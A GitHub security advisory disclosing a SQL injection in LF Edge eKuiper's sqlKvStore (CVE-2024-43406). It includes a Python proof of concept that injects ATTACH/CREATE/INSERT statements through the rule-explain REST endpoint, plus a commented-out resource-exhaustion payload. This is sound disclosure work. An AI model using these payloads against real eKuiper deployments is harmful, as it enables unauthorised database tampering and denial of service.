GHSA-r5ph-4jxm-6j9p: LF Edge eKuiper has a SQL Injection in sqlKvStore

Summary

A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore.

Details

I will use explainRuleHandler (“/rules/{name}/explain”) as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc.

The SQL injection can happen in the code:
https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L89-L93
The code to accept user input is:
https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/server/rest.go#L274-L277

The rule id in the above code can be used to exploit SQL query.

Note that the delete function is also vulnerable:
https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L138-L141

PoC

import requests
from urllib.parse import quote

# SELECT val FROM 'xxx' WHERE key='%s';
payload = f"""'; ATTACH DATABASE 'test93' AS test93;
CREATE TABLE test93.pwn (dataz text);
INSERT INTO test93.pwn (dataz) VALUES ("sql injection");--"""

#payload = "deadbeef'; SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))));--"

url = f"http://127.0.0.1:9081/rules/{quote(payload,safe='')}/explain"   # explainRuleHandler

res = requests.get(url)
print(res.content)

The screenshot shows the malicious SQL query to insert a value:

The screenshot shows the breakpoint of executing the query:

Impact

SQL Injection vulnerability

The reporters are Yuan Luo, Shuai Xiong, Haoyu Wang from Tencent YunDing Security Lab.

References

• GHSA-r5ph-4jxm-6j9p
• https://nvd.nist.gov/vuln/detail/CVE-2024-43406
• lf-edge/ekuiper@1a9c745